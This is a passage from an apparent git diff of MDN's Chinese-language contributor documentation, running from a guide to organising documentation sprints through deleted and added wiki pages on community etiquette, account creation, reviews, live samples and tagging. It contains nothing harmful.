对于需要长途交通的线下sprint, 我们已经发现了三天 (比如说两天周末和一天工作日) 就足够做到很多重要的工作。也不会占用大家日常生活的很多时间。对于公开,本地,线下的sprint,大部分人只能够付出一天的时间. 对于线上的sprint, 我们通常进行两天: 一个工作日外加周末的一天。 As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).

- -

Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint during a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.

- -

Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.

- -

For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.

- -

Promote the sprint

- -

You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.

- -

For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. Eventbrite and Lanyrd are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.

- -

Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.

- -

Logistics for in-person sprints

- -

Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.

- -

Budget and funding

- -

You need to figure out how much the event is going to cost, and where the money is going to come from.

- -

Costs to consider in your budget include:

- - - -

Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.

- -

It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a Mozilla Rep in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a developer events request in Bugzilla.

- -
-
Venue
-
There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.
-
Resources
-
Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.
-
Travel
-
Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.
-
Accommodations
-
Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.
-
Food
-
Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.
-
Fun
-
Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.
-
- -

During the sprint

- -

Planning the work

- -

 

- -

Tracking tasks

- -

Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.

- -

Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.

- -

Collaborating

- -

One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.

- -

As an organizer, look for common interests among the participants and for ways that they can work together.

- -

Celebrating accomplishments

- -

Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.

- -

Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.

diff --git a/files/zh-cn/mdn/community/index.html b/files/zh-cn/mdn/community/index.html deleted file mode 100644 index 19e3e729ce..0000000000 --- a/files/zh-cn/mdn/community/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 加入 MDN 社区 -slug: MDN/Community -tags: - - MDN Meta - - 引导 - - 社区 -translation_of: MDN/Community ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/zh-CN/docs/MDN")}}
- -
-

MDN(Mozilla Developer Network)不仅仅是一个维基,而且是一个为使用开放 Web 技术的开发者而打造的社区。在这儿,开发者为了使 MDN 更加出色而共同努力。

-
- -

我们非常乐意您能给 MDN 贡献一份力量。当然我们更加希望您能加入 MDN 社区。只需简单的三步,即可加入我们:

- -
    -
  1. 创建 MDN 账户
  2. -
  3. 参与交流
  4. -
  5. 关注正发生的一切
  6. -
- -

社区是怎么运作的

- -

下列文章详细地介绍了 MDN 社区。

- -
-
-
-
社区参与者
-
MDN 社区有许多负责任的参与者。
-
文档迭代
-
这是一个有关组织文档迭代的指导。它包含组织过文档迭代的开发者的建议和技巧,这个指导的目的是为了帮助您更好地组织文档。
-
关注正发生的一切
-
MDN 是由 Mozilla 开发者网络社区 发起的。这里有一些有关我们正在做的事物信息。
-
- -
-
-
- -
-
-
MDN 社区对话
-
MDN 上的工作在 MDN 社区网站上进行。但社区也提供讨论,在线交流和线下会议等多种对话方式。
-
社区工作
-
了解如何作为 MDN 社区的一部分来为 MDN 文档作贡献是本文的主题。本文给出了一些技巧来帮助您和其他开发者、开发团队来进行更有效的交流。
-
-
-
diff --git a/files/zh-cn/mdn/community/whats_happening/index.html b/files/zh-cn/mdn/community/whats_happening/index.html deleted file mode 100644 index abdb8b5215..0000000000 --- a/files/zh-cn/mdn/community/whats_happening/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 跟随正在发生的事情 -slug: MDN/Community/Whats_happening -tags: - - MDN Meta - - 初学者 - - 指南 - - 社区 -translation_of: MDN/Community/Whats_happening ---- -
{{MDNSidebar}}
- -

MDN是由 Mozilla开发者网络社区带给你的。这里是关于我们正在做之事的共享信息的一些途径。

- -

博客

- -
-
Mozilla Hacks
-
Web和Mozilla技术和功能的新闻深度报道。
-
Engaging Developers
-
促进社区参与Mozilla MDN活动和讨论。
-
- -

信息流

- - - -

状态栏和仪表盘

- -

查看 文档状态 页面,以了解整个MDN内容的动态。您将能够看到哪些文章需要书写或更新,哪些主题需要最大的帮助以及更多。

- -

MDN会议

- -

有一些跟踪和各种MDN相关的项目和进程共享进步定期会议,这些都描述了MDN会议的维基页面。

- -

想要了解最新动态,MDN社区会议是最佳渠道。MDN社区会议一般在美国太平洋时间周三上午10点举办(UTC-0800 十月——三月, UTC-0700 三月——十月)。会议每两周举办一次,会议采用 #mdn IRC 的方式举行。想要了解会议日程及往期会议记录,请查阅 MDN 社区会议 维基页面。

- -

公共 MDN活动  日历包括MDN社区会议,文件分享,其他MDN相关活动。如果您在我们的Vidyo视频会议系统中遇到正在“mdn”频道中举办的会议,那么您可以 从从网站上加入会议对话

diff --git "a/files/zh-cn/mdn/community/\345\234\250\347\244\276\345\214\272\345\267\245\344\275\234/index.html" "b/files/zh-cn/mdn/community/\345\234\250\347\244\276\345\214\272\345\267\245\344\275\234/index.html" deleted file mode 100644 index e8cce689d8..0000000000 --- "a/files/zh-cn/mdn/community/\345\234\250\347\244\276\345\214\272\345\267\245\344\275\234/index.html" +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: 社区工作 -slug: MDN/Community/在社区工作 -tags: - - 指南 - - 社区 -translation_of: MDN/Community/Working_in_community ---- -
{{MDNSidebar}}
- -

在任何重大规模上为MDN文档作出贡献的主要部分是知道如何作为MDN社区的一部分工作。本文提供的技巧可帮助您充分利用与其他作者和开发团队的互动。

- -

一般礼仪准则

- -

以下是在Mozilla社区工作时的一些通用指导原则。

- - - -

委婉

- -

与他人沟通时要时刻保持委婉和恭敬。

- -

礼貌地指出错误

- -

如果您在联系某人的目的是要求他们采取不同的做法,或者指出他们所犯的错误(特别是他们反复犯错的话),请以正面评论开始您的信息。这可以减轻打击,这可以说,它表明你试图帮助,而不是让你成为坏人。 例如,如果一个新的贡献者创建了大量没有标签的页面,并且您想要指出这个问题,那么您给他们的消息可能看起来像这样(您需要为每个个案更改的内容加下划线):

- -
-

嗨,MrBigglesworth,我一直注意到你对Wormhole API文档的贡献,并且能够得到你的帮助真是太棒了!我特别喜欢你通过可读性平衡细节水平的方式。尽管如此,如果您在页面中添加正确的标签,您可以使这些文章更好,更有用。

- -

详细信息,请参阅MDN标记指南 (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) 。

-
- -

分享知识

- -

在您参与MDN项目时,了解发生了什么以及与我们社区的其他成员进行互动很有用。通过与我们社区中的其他人交谈,您可以获得并分享想法,状态更新等。我们还拥有工具和信息资源,可以帮助您了解由谁来完成的工作。

- -

沟通渠道

- -

您可以通过多种方式与社区成员(开发人员或作者)进行交流,每种方式都有自己特定的礼仪规则。

- -

Bugzilla

- -

在编写文档以涵盖由于Bugzilla中的错误而实施的更改时,您经常会与涉及这些错误的人员进行交互。请务必始终牢记Bugzilla礼仪指南!

- -

电子邮件

- -

有时候,如果你有他们的电子邮件地址,你和一个或多个其他人之间的私人电子邮件交换就是要走的路。

- -
-

注意:一般来说,如果有人在您要记录的技术文档上发布了他们的电子邮件地址,已经亲自给您发送了他们的电子邮件地址,或者通常有一个众所周知的电子邮件地址,则电子邮件是可接受的“第一次联系人”做法。如果你需要挖掘它,你可能应该首先尝试获得IRC或邮件列表的许可,除非你已经用尽了所有其他尝试取得联系的努力。

-
- -

Content status tools

- -

We have several useful tools that provide information about the status of documentation content.

- -
-
Revision dashboard
-
The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).
-
Documentation status overview
-
Our documentation status overview page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.
-
Documentation project plans
-
We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.
-
MDN Taiga
-
The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our Process page on the Mozilla wiki.
-
- -

The development community

- -

Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!

- -

In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.

- -

On a related note, a great way to find the right person to talk to is to look at the module owners lists.

- -

The writing community

- -

The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.

- -

See the article Join the community for more information about the MDN community.

- -

The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "Getting Started with IRC." You'll also have discussions with us on the MDN discussion forum. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.

- -

By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.

- -

See also

- - diff --git a/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html b/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html new file mode 100644 index 0000000000..8c0513d654 --- /dev/null +++ b/files/zh-cn/mdn/contribute/howto/add_or_update_browser_compatibility_data/index.html @@ -0,0 +1,30 @@ +--- +title: 如何添加或更新浏览器兼容性数据 +slug: MDN/Contribute/Howto/如何添加或更新浏览器兼容性数据 +translation_of: MDN/Contribute/Howto/Add_or_update_browser_compatibility_data +--- +
{{MDNSidebar}}

如果你有浏览器在兼容Web特性方面的信息 —— 或者有意愿并有能力做一些这方面的研究和/或实验 —— 你可以帮助更新MDN的浏览器兼容性数据库BCD)。

+ + + +
+
哪些地方需要做?
+
+

在MDN上你有这几种方法可以帮助改进浏览器兼容性方面的信息:

+ +
    +
  • 添加尚未收录在BCD仓库内的网页特性数据
  • +
  • 依据浏览器新版本的变更内容、现有数据中的更正错误,或者某项技术的特性之最新变更等信息来更新现有数据
  • +
  • 提交 pull requests 到 BCD issues filed on Github.
  • +
+
+
做这个任务你需要知道哪些知识?
+
做这个任务需要哪些步骤?
+
欲了解如何更新在GitHub上的组成BCD仓库的 JSON 文件的详细信息,请参见兼容性表格页面。如要了解我们特别寻求帮助的问题列表,请到 Github issues with the "Help Wanted" tag.
+
 
+
 
+
diff --git a/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html b/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html new file mode 100644 index 0000000000..91b8a8640d --- /dev/null +++ b/files/zh-cn/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html @@ -0,0 +1,185 @@ +--- +title: 如何创建一个交互学习环境 +slug: MDN/Contribute/Howto/学习_交互_在线_起步_开始 +tags: + - MDN Meta + - 交互 + - 如何使用 + - 学习 + - 教程 +translation_of: MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web +--- +
{{MDNSidebar}}

动态的内容对于学习 Web 来说是重要的。 她能让学习的人更加积极主动。 这可以是练习,实例,任务,评价等等。总之,任何有助于学习理解的东西都行。

+ +

这儿还没有能够直接创建动态的实例内容。但是一些第三方工具可以帮助你创建(如: JSFiddleCodePenDabblet,等),你可以将其链接放在 MDN 文章中。另外,你可以使用 WebMaker 项目的 Thimble 来创造更加高级的内容。

+ +

目前,MDN 虽然没有能够轻易创建动态实例内容的工具。不过,如果你是工程师,可以使用当前 MDN 提供的功能创建自定义的主动学习内容,下面内容将告诉你如何操作。

+ +

MDN live samples

+ +

MDN 有一个非常炫酷的功能:live samples。她是一种可以将 MDN 页面内任何 HTML, CSS, Javascript 代码等效执行的机制。在使用她以前,你最好通读一下 Using the live sample system,这是我们关于她的完整文档。虽然她很容易使用,不过通过阅读文档,你会学到一些奇淫巧技。

+ +

有意思的是,将任何类型的工具或实例嵌入到 MDN 页面中都可以通过调教她轻松做到。

+ +

隐藏代码

+ +

通过实例创建主动学习内容的第一种方法是编辑要添加内容的页面。使用 Live Sample 功能创建内容,只构建你需要的功能,不要在乎代码的复杂度。当内容准备好之后,只需切换到编辑器视图,并用 class 为 hidden 的 {{HTMLElement('div')}} 来包围你的代码。这样代码就会隐藏,不过实例依然可以访问和显示。

+ +

看看这个简单的代码:

+ +
+

点击这个方块提供随机色,或者直接输入色值

+ + +{{EmbedLiveSample('hidden_code_example', 120, 120)}}
+ +

如果你使用 MDN 编辑器查看该页面代码,你会看到如下 HTML 代码:

+ +
<div class="moreinfo">
+<p>Click on the following square to randomly change its color or just type an hexadecimal code color</p>
+
+<div class="hidden">
+<h4 id="hidden_code_example">hidden code example</h4>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">
+&lt;div class="square"&gt;
+  #&lt;input class="color"&gt;
+&lt;/div&gt;</pre>
+
+<h5 id="CSS">CSS</h5>
+
+<pre class="brush: css">
+body {
+  padding: 10px;
+  margin : 0;
+}
+
+.square {
+  width  : 80px;
+  height : 80px;
+  padding: 10px;
+  background-color: black;
+  color: white;
+  text-align: center;
+}
+
+.color {
+  width: 60px;
+  text-transform: uppercase;
+}
+</pre>
+
+<h5 id="JS">JS</h5>
+
+<pre class="brush: js">
+function setColor(color) {
+  document.querySelector('.square').style.backgroundColor = '#' + color;
+  document.querySelector('.color').value = color;
+}
+
+function getRandomColor() {
+  var color = Math.floor(Math.random() * 16777215);
+  return color.toString(16);
+}
+
+function getInputColor() {
+  var value = document.querySelector('.color').value;
+  var color = Number('0x' + color);
+  if (color === +color) {
+    return color.toString(16);
+  }
+  return value;
+}
+
+document.addEventListener('click', function () {
+  setColor(getRandomColor());
+});
+
+document.addEventListener('keyup', function () {
+  setColor(getInputColor());
+});
+</pre>
+</div>
+
+\{{EmbedLiveSample('hidden_code_example', 120, 120)}}
+</div>
+ +

你可以在 the Canvas API page 查看更多高级例子。

+ +

外部代码

+ +

前面的例子在你想嵌入主动学习内容时是可行的。不过,如果你想要处理更加复杂的代码,这个 hidden 的 {{HTMLElement('div')}} 就比较麻烦。

+ +

另外种方案是将内容写入 MDN 页面,然后嵌入另一个页面中。为此,我们可以使用 {{TemplateLink("EmbedDistLiveSample")}} 替代{{TemplateLink("EmbedLiveSample")}} 。

+ +

我们学习配置这个模拟远程代码嵌入的实例:

+ +
+

点击这个方块提供随机色,或者直接输入色值

+{{EmbedLiveSample('The_example', 120, 120, '', 'MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web/distant_example')}}
+ +

这下如果你继续使用 MDN 编辑器查看页面源码,将看不到隐藏元素。如果你需要看,则需要前往这个页面地址

+ +

你可以在 HTML 表单教程中查看更多高级例子,那里可以使用表单尝试。

diff --git a/files/zh-cn/mdn/contribute/howto/create_an_mdn_account/index.html b/files/zh-cn/mdn/contribute/howto/create_an_mdn_account/index.html deleted file mode 100644 index 256d61b897..0000000000 --- a/files/zh-cn/mdn/contribute/howto/create_an_mdn_account/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 如何创建 MDN 账号 -slug: MDN/Contribute/Howto/Create_an_MDN_account -tags: - - MDN - - 创建账户 - - 初学者指南 - - 新手上路 -translation_of: MDN/Contribute/Howto/Create_an_MDN_account ---- -
{{MDNSidebar}}
- -

 要对MDN的内容进行任何更改,你需要一个MDN账户。别担心,如果你只是打算阅读或搜索MDN,就不需要一个账户!这个指南  将帮助你建立MDN账户。

- -
-
-

为什么MDN需要我的电子邮件地址?

- -

你的电子邮件地址用于帐户恢复;必要时,MDN管理员会通过它来联系您,讨论你的账户或在网站上的活动。

- -

此外,你可以选择订阅通知(例如,当特定的页面被更改)和消息(例如,如果你选择加入我们的beta测试团队,你可能会收到关于待测试新功能的邮件)。

- -

你的电子邮件地址永远不会显示在MDN,并只会按照我们的隐私政策使用。

- -
如果你通过Github登录到MDN,并且你的Github账号使用了“noreply”的电子邮件地址,你将不会收到任何来自MDN的信息(包括你从页面订阅的通知)。
-
-
- -
    -
  1. 在每个MDN页面的顶部都有一个登录按钮。将鼠标指向它(如果你在移动设备上使用,轻触即可),以显示支持的登录到MDN的认证服务列表。
  2. -
  3. 选择一项服务以登录。目前,我们只支持使用Github登录。值得注意的是如果你选择GitHub,你的MDN公开资料页上将显示一个链接,其指向你的GitHub个人资料页。
  4. -
  5. 按照Github的提示,将你的GitHub帐户绑定到MDN。
  6. -
  7. 从认证服务页面返回到MDN之后,MDN会提示你输入用户名和电子邮件地址。你的用户名会公开显示,以便展示你做过的工作。请不要将你的电子邮件地址作为用户名
  8. -
  9. 点击创建我的MDN个人资料
  10. -
  11. 如果你在步骤4中指定的电子邮件地址与认证服务所使用的不同,请检查这个邮箱,并点击我们发送的确认邮件中的链接。
  12. -
- -

一切就绪!你已经拥有一个MDN帐户,并可以立即编辑页面!

- -

你可以在任何MDN页面的顶部点击你的名字以查看账号的公开资料。从那里,你可以点击编辑按钮修改或更新你的个人资料。

- -
-

注:新用户名不能包含空格或“@”字符。请记住,你的用户名将会公开显示,以标识你做过的工作!

-
diff --git a/files/zh-cn/mdn/contribute/howto/do_a_technical_review/index.html b/files/zh-cn/mdn/contribute/howto/do_a_technical_review/index.html deleted file mode 100644 index 83945186c5..0000000000 --- a/files/zh-cn/mdn/contribute/howto/do_a_technical_review/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 如何进行技术审查 -slug: MDN/Contribute/Howto/Do_a_technical_review -tags: - - MDN Meta - - 复核 - - 如何做 - - 指南 - - 文档 -translation_of: MDN/Contribute/Howto/Do_a_technical_review ---- -
{{MDNSidebar}}
- -

技术复核包括审查一篇文章的技术准确性和完整性,并在必要的时候予以纠正。 如果一篇文章的作者需要其他人来对文章进行技术复核的话,就需要在编辑时勾选”技术复核“选项。通常情况下,作者会联系特定的工程师来执行技术审查,但是任何具有此领域专业技能的人都可以完成技术复核。

- -

本文介绍如何进行技术复核,从而帮助确保MDN的内容的正确性。

- -

任务是什么?

- -

  审查和纠正文章的技术准确性和完整性。

- -

什么地方需要技术审核?

- -

  在被标记为需要技术审核的特定文章中。

- -

开始做任务前你需要了解什么?

- - - -

完成任务的步骤是什么?

- -
    -
  1. 选取一篇需要复查的文章: -
      -
    1. 前往 technical reviews 页面。这里列出了所有需要技术复核的文章。
    2. -
    3. 选择一个你非常熟悉的领域的页面。
    4. -
    5. 点击该页面。
    6. -
    -
  2. -
  3. 在阅读这篇文章的时候注意文章里的所有技术细节:这篇文章的内容正确吗?是否缺少了一些细节?如果你觉得这篇文章不适合你,那么请毫不犹豫地换一篇文章。
  4. -
  5. 如果没有错误,你不需要重新编辑来把这篇文章标识为”已复核“,你只需要找到左边导航栏最下方的”快速复核“框。黄色背景的框里列出了所有等待复核的请求,像这样:
  6. -
  7. 去掉需要技术复核前面的勾,然后点保存。
  8. -
  9. 如果你发现了需要被修正的错误,你可以在编辑器里修改这篇文章的审核请求状态。以下是操作步骤: -
      -
    1. 点击页面顶部的编辑按钮,进入 MDN editor 页面,来编辑该页面。
    2. -
    3. 更正不正确的技术信息,还可以添加文章遗漏的任何重要信息。
    4. -
    5. 在文章的底部输入修改注释。这个注释简要地描述你的修改工作,比如“完成技术审查。”如果你更正了某些信息,将它们写进你的注释,比如“技术审查以及修复参数的相关描述。”这将帮助其他贡献者和网站编辑人员知道你修改的部分以及原因。如果你认为文章中有些不必要被审查的部分,也可以在注释中提出来。
    6. -
    7. 取消勾选“需要审查”下面的“技术”选项框了吗?它就在页面的审查注释区域。
    8. -
    9. 点击发布按钮。
    10. -
    -
  10. -
- -

祝贺你,你已经完成了你的第一篇技术复核,感谢您的帮助!

diff --git a/files/zh-cn/mdn/contribute/howto/do_an_editorial_review/index.html b/files/zh-cn/mdn/contribute/howto/do_an_editorial_review/index.html deleted file mode 100644 index 48396dcd33..0000000000 --- a/files/zh-cn/mdn/contribute/howto/do_an_editorial_review/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 如何进行编辑审核 -slug: MDN/Contribute/Howto/Do_an_editorial_review -tags: - - 指导 - - 文档 - - 编辑审核 -translation_of: MDN/Contribute/Howto/Do_an_editorial_review ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/zh-CN/docs/MDN")}}
- -

编辑审核的工作由修改文中排版错误,拼写、语法、用法等文本错误构成。并不是所有贡献者都是语言专家,但有了他们的共同努力,他们把那些需要编辑以及校对的文章转化为了极其有用的文章;这些都是在编辑审核的工作中完成的。

- -

这篇文章描述了如何进行编辑审核,从而帮助实现 MDN 的内容精确。

- -
-
任务是什么?
-
编辑并审核那些被标记为需要编辑审核的文章。
-
应该在何处处理它?
-
在特定的文章中会有标记有需要编辑审核的地方。
-
开始做任务前你需要了解什么?
-
你需要有好的中文语法和词汇技能。文章复核是要确保语法、用词都是正确的并且有意义,同时遵循 MDN 样式指南
-
完成任务的步骤是什么?
-
-
    -
  1. 选择一篇文章来审核: -
      -
    1. 访问需要复核的文章列表。它陈列了所有请求编辑审核的页面。
    2. -
    3. 点击文章链接进入页面。
      - 注意:这个列表是自动生成的,但更新并不频繁,所以列表中的一些文章是不再需要编辑审核的。如果你选择的文章没有显示“这篇文章需要复核”,跳过这一篇文章,再选择其他的文章。
    4. -
    -
  2. -
  3. 仔细阅读文章,特别注意其中可能出现的排版、错字、语法或者词语使用错误。如果你觉得这篇文章不适合你,随时可以换一篇其它文章。
  4. -
  5. 如果文章中没有任何错误,你不需要进入编辑页面再把它标记为“已审核”。在页面的左侧边栏处可以找到“快速复核”对话框:
    - 文法复核边栏屏幕截图
  6. -
  7. 取消 文法 的勾选之后点击 保存
  8. -
  9. 如果你发现了需要改正的错误: -
      -
    1. 点击右上角蓝色的 编辑 按钮;它将带你进入 MDN 编辑器
    2. -
    3. 更正所有你看到的的排版、错字、语法或者词语使用错误。你并不需要将所有问题都一次性改好,不过当完成整篇文章的时候你还觉得不确定是否完美,一定要保留文法复核的请求。
    4. -
    5. 在文本底部输入一段修订注释;比如 “文法符合:更改了排版,语法和用词错误。” 这有助于其他编辑者和网站管理员知道你更改了什么以及为什么做出更改。
    6. -
    7. 需要复核吗? 下面取消 文法 的选择。这一项位于页面的 版本备注 当中。
      - 文法复核编辑模式屏幕截图
    8. -
    9. 点击 发布 按钮。
    10. -
    -
  10. -
- -
-

你所做出的更改在保存后不一定立即可见,页面保存和处理过程可能出现一些延迟。

-
-
-
diff --git a/files/zh-cn/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/zh-cn/mdn/contribute/howto/set_the_summary_for_a_page/index.html deleted file mode 100644 index bf90ff0262..0000000000 --- a/files/zh-cn/mdn/contribute/howto/set_the_summary_for_a_page/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 如何为页面编写概要 -slug: MDN/Contribute/Howto/Set_the_summary_for_a_page -tags: - - 指南 -translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page ---- -
{{MDNSidebar}}
- -

您可以在MDN的每一个页面上定义概要,它可以在很多方面起到作用,如包含在搜索引擎的搜索结果中,或者在其他MDN页面如热门话题页或者工具提示页。它应该概括的描述该页面的所有内容,并且当在其他页面显示时,不包含页面内容的无关部分。

- -
-

一个概要可以被明确的定在在一个页面中。如果概要没有被明确的定义,通常会使用该页面内容的第一句话作为概要,而它往往不是该页面最精确的描述。

-
- - - - - - - - - - - - - - - - - - - - -
任务是什么?标记应被用作其在其他情况下摘要页面中的文本;这项任务可能包括在需要写相应的文本。
哪些地方需要它?在缺乏一个总结或总结不太好的页面。
完成任务需要什么?能够使用MDN编辑器的能力;良好的英语写作能力;对网页的主题足够熟悉,以便于能写一个很好的总结。
怎样完成任务? -
    -
  1. 选择一个页面来设置总结: -
      -
    1. MDN documentation status 页面上的section中, 点击你所了解的话题。
    2. -
    3. 在主题的文档状态页面,单击汇总表中的页头。这需要你在该主题区段的所有网页的索引;它示出了在左侧列中的页面的链接,以及在右栏中的标签和摘要。
    4. -
    5. 挑选缺少一个总结页面,或者说有一个较差的总结的页面。
    6. -
    -
  2. -
- -
-

点击链接进入该页面。

-
- -
    -
  1. 单击编辑在MDN编辑器中打开该页面。
  2. -
  3. 找一两句话,作为一个总结。如果需要,可以编辑现有的内容来创建或修改的句子来做一个很好的总结。
  4. -
  5. 选择要使用的摘要文本。
  6. -
  7. 在样式插件的编辑器工具栏,选择搜索引擎优化摘要。 (In the page source, this creates a {{HTMLElement("span")}} element with class="seoSummary" around the selected text.)
  8. -
  9. 保存你的更改,并附上类似“设置页面总结”的修改意见。修改意见是可选的,但我们鼓励你添加一个。这样便于其他人了解变更的情况。
  10. -
-
- -

完成这样的一份任务后,你就是MDN的一员。

diff --git a/files/zh-cn/mdn/contribute/howto/tag_javascript_pages/index.html b/files/zh-cn/mdn/contribute/howto/tag_javascript_pages/index.html deleted file mode 100644 index 4420d3f04e..0000000000 --- a/files/zh-cn/mdn/contribute/howto/tag_javascript_pages/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: 如何给JavaScript相关页面添加标签 -slug: MDN/Contribute/Howto/Tag_JavaScript_pages -translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages ---- -
{{MDNSidebar}}

标记工作包括给页面添加元信息,使得这些页面的相关内容能被搜索工具等正确的分拣。

- -
-
哪里需要做这件事?
-
那些特定的没有标签的JavaScript相关的页面
-
开始标记任务前你需要知道些什么?
-
一些基本的JavaScript编程知识,比如javascript中的方法和属性都是些什么。
-
你的工作有以下几个步骤
-
-
    -
  1. 选择下面列举的某篇文章。
  2. -
  3. 点击该文章所对应的链接,载入页面。
  4. -
  5. 当页面载入完毕时,点击顶部附近的EDIT按钮,就会进入MDN编辑模式。
  6. -
  7. 最后就是添加Javascript相关的标签了,我们提供了如下可选的标签。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    标签名适用于含有哪些内容的页面
    Method方法
    Property属性
    Prototype原型
